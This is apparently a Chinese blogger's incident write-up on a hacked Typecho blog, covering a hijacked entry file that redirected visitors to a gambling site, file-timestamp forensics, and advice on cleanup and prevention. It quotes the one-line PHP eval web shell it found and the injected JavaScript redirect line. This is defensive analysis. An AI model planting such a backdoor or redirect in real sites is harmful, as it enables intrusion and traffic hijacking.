最新处理方案

参考网友的解决思路,下载博客的全部源码到本地,使用工具进行查杀。

使用 D盾_防火墙(只支持 windows 系统) ,自定义扫描,选择目录之后,自动开始。

D盾_防火墙扫描结果
D盾_防火墙扫描结果

查杀文件 install.inc.php,存在 eval 后门。

<?php @eval($_POST[install]);?>

网站入口文件两次被挂马,大概率是这个文件在作怪,直接删除(或者放入沙盒)即可。

分析沙盒中的木马文件 install.inc.php

文件所有者 root,排除通过 web 上传的可能。对比本地测试安装的 typecho 目录,确认该文件非源码文件。使用 ftp 工具测试,发现新上传的文件修改时间为上传时间;将文件压缩上传,文件修改时间为本地修改时间。木马文件修改时间 Modify [备注 1] 2017-10-26 15:16:21.000000000,通过 config.inc.php 文件确认博客安装时间 Modify / Change 2017-11-21 15:11:52。由于原始的博客压缩包已被删除,并且木马文件 install.inc.php 被移动过,所以无法判断该文件是否是跟随博客一起解压的。但 typecho 已经很久没更新了,通过压缩工具查看到的文件最新修改时间 2017-10-30 ,并且以 typecho 的权威性应该不会打包木马文件,所以基本判定,木马文件 install.inc.php 是在安装之后,通过解压方式或者远程下载的方式添加到网站根目录下的。

经过对比测试发现,远程下载的文件 Access 与 Modify 时间虽然不同,但秒往下部分全部都为 000000000。通过解压方式获取到的文件 Access 与 Modify 时间完全相同,且秒往下部分全部都为 000000000。木马文件修改时间 Modify 2017-10-26 15:16:21.000000000 证明了其是通过解压方式或者远程下载的方式生成的这一观点。

选择服务器时建议使用大型云服务商的服务器,因为会有配套的实时监测系统,遇到木马或其他攻击可以及时的收到报警提示。

还有一种方法,是使用代码版本管理工具,如 git。

以 git 为例,将代码源码部分存放到 gitlab 上,在部署网站上 pull 代码。当网站发生挂马事件后,登录到网站根目录使用 git status 指令查看源码是否被篡改。若被篡改,则检测被篡改的文件,新增的木马文件直接删除,源码被篡改的,使用 git pull 还原。若未被篡改,则检查上传文件的目录,检测是否有脚本文件,如 php 或其他可以类型的文件,保存木马样本,确认后删除。

木马文件从何而来?

  • 服务器本身存在漏洞,有未知管理员权限的用户,或者管理员密码强度太弱,服务器被暴力破解。
  • 服务器安装了存在后台入口(木马)的软件,直接被内部入侵。
  • 网站代码存在漏洞,被上传了木马脚本

更新时间 :2020-03-10


入口文件被劫持

早上开早会过程中,打开浏览器,默认页面是当前主站。但是标题突然变成了 “欧冠杯_体育下注_足球赛事”,这让我意识到网站的不对劲。往下浏览,发现页面内容重复了一次,且打不开二级页面。每次跳转 url 改变了,但是内容没变。打开控制台,发现代码表现正常,除了标题、keywords 和 description 被修改,以及 console 栏标识出来的引入了非 https 协议的 js 文件错误。

js 文件解析

在完成这篇文章后,找到了因为协议问题而报错的源文件 http://m.hqty168.top/bcjs/88.js,百度搜索关键词 qihucdn(当时不知道是 360 搜索的推送地址),第一篇就是 “被挂马” 的排查文章:记一次站点被挂马问题排查。看了文章才知道,我这种情况是有多危险。

这个由于入口文件被篡改而引入的 js 文件非常邪恶,上半部分内容就像正常搜索引擎推送,但下半部分就开始劫持我的网站流量了:

document.writeln("location.href=\"http://www.hqvip.top/index.php?baidu=hqbet563.com/\";");

如果正常引入这个 js 文件的话,网站会自动跳转到一个博彩网站上。因为入口文件被劫持,所有的页面都会经过被篡改的入口文件,进而跳转到博彩网站上。这就是网站“被挂马”的现象。因为搜索引擎对博彩这种灰色产业网站会降权处理,这就会导致我的网站也会被降权。

幸好我的网站使用了 https 协议,引入非同源的脚本会失败报错。 OωO

更新时间 :2020-02-14


尝试解决

尝试登录后台,登录页面打开正常,但是登录失败,仍会跳转到首页。

心里有点慌,在想是不是登录后台的密码太简单了,被暴力破解了。这个还算好的,如果是服务器被黑了呢?

使用 bash 远程登录到服务器,登录正常,没有登录失败的记录;查看最近登录记录,没有异常登录记录。尝试在线登录数据库,登录成功。修改主站后台默认账号的密码为 123456

use typecho;
update typecho_users set password = 'e10adc3949ba59abbe56e057f20f883e' where uid = 1;

typecho 默认加密方式为 md5

再次登录主站后台,依然失败。

猜测是入口文件被修改。切到网站更目录,发现可疑文件 index.php1。查看内容,发现就是正常的入口文件,查看现在的 index.php 文件,发现内容混乱。

将当前入口文件移动到小黑屋,并修改 index.php1index.php。刷新页面,内容恢复。

痕迹追踪

按照之前写的一篇 排查、判断 linux 服务器是否被黑或被当成肉鸡挖矿,进行排查。未发现其他账号登录的痕迹,使用 nmap 扫描端口,发现一个陌生的 8888 端口,对应的服务 sun-answerbook。查看对应的脚本是 python2.6,没问题。

系统方面因为不太懂,没查到什么线索。转而分析小黑屋里的那个劫持文件(使用 ls、ll、stat 指令),发现内容修改时间为 2020-02-13 18:44,创建用户为 www。系统用户 www 是为了执行 httpd 子进程指定创建的,依据这个推测,这个劫持文件应该是通过 php 脚本注入创建的,这意味着服务器本身是安全的。

但进一步分析就没办法,暂时还不知道是程序的那边有漏洞导致的。

记得最后修改一下服务器 ftp 密码和网站后台密码,以防密码被暴力破解网站仍处于危险的情况。

passwd www
passwd root
passwd ...

备注 1:

Access Modify Change 的初始时间记录都是文件被创建的时间
Access 指最后一次读取的时间(访问)
Modify 指最后一次修改数据的时间(修改)
Change 指最后一次修改元数据的时间(改变)